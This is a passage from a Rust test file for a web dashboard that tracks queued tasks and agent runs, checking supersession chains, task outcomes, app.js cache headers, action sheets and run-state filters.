15978 let runs = fx.runs();
15979 let id = "20260901-000000-aaaa";
15980 write_run(&runs, id, RunStatus::Blocked);
15981 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15982 assert!(view["task"].is_null());
15983 }
15984
15985 #[test]
15986 fn task_outcome_does_not_guess_a_finishing_run() {
15987 let a = "20260901-000000-aaaa";
15988 let b = "20260901-000000-bbbb";
15989 let c = "20260901-000000-cccc";
15990 let dir = tempfile::tempdir().expect("tempdir");
15991 write_run(dir.path(), a, RunStatus::Blocked);
15992 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15993 let read = |id: &str| read_run(dir.path(), id).ok();
15995 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15998 let out = task_outcome(&t, a, 3, read);
15999 assert!(out.finished_by.is_none());
16000 assert!(out.closed_by_hand);
16001 let latest = out.latest.expect("latest");
16002 assert_eq!(latest.id, c);
16003 assert_eq!(latest.status, None);
16004 assert_eq!(latest.outcome, "record unreadable");
16005
16006 write_run(dir.path(), c, RunStatus::Ready);
16008 let t = outcome_task(&[a, c], TaskStatus::Done);
16009 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16010 assert_eq!(out.finished_by.expect("finisher").id, c);
16011 assert!(!out.closed_by_hand);
16012
16013 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16015 assert!(task_outcome(&t, a, 3, read).is_latest);
16016 }
16017
16018 #[tokio::test]
16019 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16020 let fx = Fixture::start().await;
16025 let q = fx.queue();
16026 let runs = fx.runs();
16027 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16028 write_run(&runs, first, RunStatus::Blocked);
16029 write_run(&runs, second, RunStatus::Merged);
16030
16031 let mut t = Task::new(
16032 "one task".to_owned(),
16033 "do it".to_owned(),
16034 PathBuf::from("/repo"),
16035 Source::Human,
16036 );
16037 t.runs = vec![first.to_owned(), second.to_owned()];
16038 q.put(&mut t).expect("put");
16039
16040 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16041 assert_eq!(earlier["superseded_by"], "dddd");
16042 assert_eq!(earlier["latest_attempt"]["id"], second);
16043 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16044 assert_eq!(
16045 earlier["latest_attempt"]["resolved"], true,
16046 "the run that replaced it landed, so this one reads as settled"
16047 );
16048
16049 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16050 assert!(
16051 later["superseded_by"].is_null(),
16052 "the latest attempt is not superseded by anything"
16053 );
16054 assert!(
16055 later["latest_attempt"].is_null(),
16056 "the latest attempt has no later attempt of its own"
16057 );
16058
16059 assert!(APP_JS.contains("run.latest_attempt"));
16066 assert!(APP_JS.contains("data-superseded"));
16067 assert!(APP_JS.contains("#/runs/${latest.id}"));
16068 }
16069
16070 #[tokio::test]
16071 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16072 let fx = Fixture::start().await;
16078 let q = fx.queue();
16079 let runs = fx.runs();
16080 let (a, b, c) = (
16081 "20260901-000000-aaaa",
16082 "20260901-000000-bbbb",
16083 "20260901-000000-cccc",
16084 );
16085 write_run(&runs, a, RunStatus::Blocked);
16086 write_run(&runs, b, RunStatus::Blocked);
16087 write_run(&runs, c, RunStatus::Merged);
16088
16089 let mut t = Task::new(
16090 "retried twice".to_owned(),
16091 "do it".to_owned(),
16092 PathBuf::from("/repo"),
16093 Source::Human,
16094 );
16095 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16096 q.put(&mut t).expect("put");
16097
16098 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16099 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16100 assert_eq!(
16101 view["latest_attempt"]["id"], c,
16102 "the chain's current head, not the intermediate Blocked retry"
16103 );
16104 assert_eq!(view["latest_attempt"]["resolved"], true);
16105
16106 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16107 assert_eq!(mid["latest_attempt"]["id"], c);
16108 assert_eq!(mid["latest_attempt"]["resolved"], true);
16109 }
16110
16111 #[tokio::test]
16112 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16113 let fx = Fixture::start().await;
16114 let q = fx.queue();
16115 let runs = fx.runs();
16116
16117 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16120 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16121 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16122 let mut t1 = Task::new(
16123 "still stuck".to_owned(),
16124 "do it".to_owned(),
16125 PathBuf::from("/repo"),
16126 Source::Human,
16127 );
16128 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16129 q.put(&mut t1).expect("put");
16130 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16131 assert_eq!(view1["latest_attempt"]["resolved"], false);
16132 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16133 assert_eq!(view1["latest_attempt"]["done"], true);
16134
16135 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16137 write_run(&runs, run_a, RunStatus::Blocked);
16138 write_run(&runs, run_b, RunStatus::Implementing);
16139 let mut t3 = Task::new(
16140 "retrying".to_owned(),
16141 "do it".to_owned(),
16142 PathBuf::from("/repo"),
16143 Source::Human,
16144 );
16145 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16146 q.put(&mut t3).expect("put");
16147 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16148 assert_eq!(view3["latest_attempt"]["id"], run_b);
16149 assert_eq!(view3["latest_attempt"]["resolved"], false);
16150 assert_eq!(view3["latest_attempt"]["done"], false);
16151
16152 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16157 write_run(&runs, noop_a, RunStatus::Blocked);
16158 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16159 let mut t2 = Task::new(
16160 "claims done".to_owned(),
16161 "do it".to_owned(),
16162 PathBuf::from("/repo"),
16163 Source::Human,
16164 );
16165 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16166 q.put(&mut t2).expect("put");
16167 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16168 assert_eq!(
16169 view2["latest_attempt"]["resolved"], false,
16170 "an unverified no-op claim must not read as a confirmed finish"
16171 );
16172
16173 assert!(APP_JS.contains("latest.resolved"));
16176 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16179 assert!(APP_JS.contains("Latest attempt: "));
16180 assert!(APP_JS.contains("in flight"));
16181 assert!(APP_JS.contains("not resolved"));
16182 }
16183
16184 #[tokio::test]
16185 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16186 let fx = Fixture::start().await;
16187 let js = fx.get("/app.js").await;
16193 assert_eq!(js.status, 200);
16194 let tag = js
16195 .header("etag")
16196 .expect("an etag to revalidate against")
16197 .to_owned();
16198 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16199 assert_eq!(
16200 js.header("cache-control"),
16201 Some("no-cache, must-revalidate"),
16202 "the phone has to ask every time"
16203 );
16204
16205 let again = fx
16208 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16209 .await;
16210 assert_eq!(
16211 again.status, 304,
16212 "a deck it already has costs one round trip"
16213 );
16214 assert!(again.body.is_empty(), "304 carries no body");
16215
16216 let weak = fx
16219 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16220 .await;
16221 assert_eq!(weak.status, 304);
16222 let stale = fx
16223 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16224 .await;
16225 assert_eq!(stale.status, 200, "an older build must be replaced");
16226 assert!(stale.body.contains("renderRunActions"));
16227 }
16228
16229 #[test]
16230 fn the_task_detail_has_an_actions_fab_and_sheet() {
16231 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16232 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16233 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16234 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16236 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16237 assert!(APP_JS.contains("renderTaskActions(task);"));
16239 assert!(APP_JS.contains("renderTaskActions(null);"));
16240 let sheet = APP_JS
16242 .find("function renderTaskActions")
16243 .expect("sheet renderer");
16244 let body = &APP_JS[sheet..sheet + 3000];
16245 assert!(body.contains("changePriority("));
16246 assert!(body.contains("openTaskEdit(task)"));
16247 assert!(body.contains("renderTaskHoldBox(host"));
16248 assert!(body.contains("renderTaskDoneBox(host"));
16249 assert!(body.contains("renderTaskDeleteBox(host"));
16250 assert!(APP_JS.contains("API.priority(id)"));
16251 assert!(APP_JS.contains("API.deleteTask(id)"));
16252 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16254 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16256 }
16257
16258 #[test]
16259 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16260 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16261 let actions = INDEX_HTML
16262 .find("id=\"run-actions-box\"")
16263 .expect("actions box");
16264 assert!(task < actions, "the task entry comes first in the sheet");
16265 assert!(APP_JS.contains("renderRunTaskEntry"));
16266 assert!(APP_JS.contains("\"Open task \""));
16267 assert!(APP_JS.contains("started directly, no task"));
16269 assert!(APP_JS.contains("sheet-task-link"));
16270 assert!(APP_JS.contains("task-chip-link"));
16271 }
16272
16273 #[test]
16274 fn the_deck_never_sends_the_operator_to_a_terminal() {
16275 assert!(
16278 !APP_JS.contains("Run `magi fold` first"),
16279 "the deck must offer the fold, not prescribe a shell command"
16280 );
16281 assert!(APP_JS.contains("foldRun:"));
16282 assert!(APP_JS.contains("resumeRun:"));
16283 assert!(APP_JS.contains("renderRunActions"));
16284
16285 assert!(APP_JS.contains("armedFold"));
16287 assert!(APP_JS.contains("Yes, fold worktrees"));
16288
16289 assert!(APP_JS.contains("can no longer be resumed"));
16292 }
16293
16294 #[test]
16295 fn a_finished_run_explains_itself_with_its_own_last_line() {
16296 assert!(
16302 !APP_JS.contains("collapsed on agent quota"),
16303 "a stall must not be explained by a cause the deck did not check"
16304 );
16305 assert!(
16306 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16307 "and a block must not offer a guess with an `or` in it"
16308 );
16309
16310 assert!(
16314 APP_JS.contains("setText(r.event, run.event || \"\")"),
16315 "the run's last line is rendered unconditionally"
16316 );
16317 assert!(
16318 !APP_JS.contains("moving && run.event"),
16319 "and never gated on the run still moving"
16320 );
16321
16322 assert!(APP_JS.contains("lost to quota"));
16324 }
16325
16326 #[test]
16348 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16349 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16350 let shapes_body_start =
16351 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16352 let shapes_close = APP_JS[shapes_body_start..]
16353 .find("].map(")
16354 .expect("the shape list is closed by its done-computing .map(...)")
16355 + shapes_body_start;
16356 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16357
16358 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16359 for entry in shapes_src.split('{').skip(1) {
16360 let waiting = entry.contains("waiting: true");
16361 let dead = entry.contains("live: \"dead\"");
16362 let status_at =
16363 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16364 let status_end = entry[status_at..]
16365 .find('"')
16366 .expect("the status string is closed")
16367 + status_at;
16368 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16369 }
16370 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16371
16372 let done_rule_marker = "done: !";
16376 let done_rule_at = APP_JS[shapes_close..]
16377 .find(done_rule_marker)
16378 .expect("the done rule follows the shape list")
16379 + shapes_close
16380 + done_rule_marker.len();
16381 let includes_at = APP_JS[done_rule_at..]
16382 .find(".includes(shape.status)")
16383 .expect("the done rule ends in .includes(shape.status)")
16384 + done_rule_at;
16385 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16386 .trim()
16387 .trim_start_matches('[')
16388 .trim_end_matches(']')
16389 .split(',')
16390 .map(|s| s.trim().trim_matches('"'))
16391 .filter(|s| !s.is_empty())
16392 .collect();
16393
16394 let shapes: Vec<(bool, String, bool, bool)> = shapes
16395 .into_iter()
16396 .map(|(waiting, status, dead)| {
16397 let done = !not_done.contains(&status.as_str());
16398 (waiting, status, dead, done)
16399 })
16400 .collect();
16401
16402 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16406 if waiting {
16407 return "waiting";
16408 }
16409 if dead
16410 && !matches!(
16411 status,
16412 "merged"
16413 | "ready"
16414 | "stalled"
16415 | "blocked"
16416 | "failed"
16417 | "verified_noop"
16418 | "superseded"
16419 | "already_in_base"
16420 )
16421 {
16422 return "stale";
16423 }
16424 match status {
16425 "merged" | "ready" => "landed",
16426 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16427 | "already_in_base" => "ended",
16428 _ => "flight",
16429 }
16430 }
16431
16432 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16435 match filter_key {
16436 "active" => !done,
16437 "flight" => !done && !waiting && !dead,
16438 "stale" => !done && !waiting && dead,
16439 "waiting" => waiting,
16440 "done" => done,
16441 "all" => true,
16442 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16443 }
16444 }
16445
16446 let compatible = |section: &str, filter_key: &str| {
16447 shapes.iter().any(|(waiting, status, dead, done)| {
16448 run_section(*waiting, status, *dead) == section
16449 && filter_matches(filter_key, *waiting, *dead, *done)
16450 })
16451 };
16452
16453 let expected = [
16458 ("waiting", [true, false, false, true, true, true]),
16459 ("stale", [true, false, true, false, false, true]),
16460 ("flight", [true, true, false, false, false, true]),
16461 ("landed", [false, false, false, false, true, true]),
16462 ("ended", [false, false, false, false, true, true]),
16463 ];
16464 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16465
16466 for (section, wants) in expected {
16467 for (filter_key, want) in filter_keys.iter().zip(wants) {
16468 assert_eq!(
16469 compatible(section, filter_key),
16470 want,
16471 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16472 );
16473 }
16474 }
16475
16476 assert!(
16479 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16480 );
16481 assert!(APP_JS.contains(
16482 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16483 ));
16484 assert!(APP_JS.contains(
16485 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16486 ));
16487 }
16488
16489 #[tokio::test]
16490 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16491 let dir = tempfile::tempdir().expect("tempdir");
16495 let explicit = dir.path().join("not-a-checkout");
16496 std::fs::create_dir_all(&explicit).expect("create dir");
16497 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16498
16499 let missing = dir.path().join("does-not-exist-at-all");
16500 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16501 }
16502
16503 #[test]
16504 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16505 assert!(APP_JS.contains("function statsDonutArcs"));
16506 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16507 assert!(APP_JS.contains("function statusInBucket"));
16509 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16510 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16511 let buckets = [
16512 "merged",
16513 "ready",
16514 "in_progress",
16515 "blocked",
16516 "failed",
16517 "verified_noop",
16518 "superseded",
16519 "stalled",
16520 ];
16521 for key in buckets {
16522 let var = format!("--verdict-{key}:");
16523 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16525 assert!(
16526 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16527 "{key}"
16528 );
16529 }
16530 }
16531}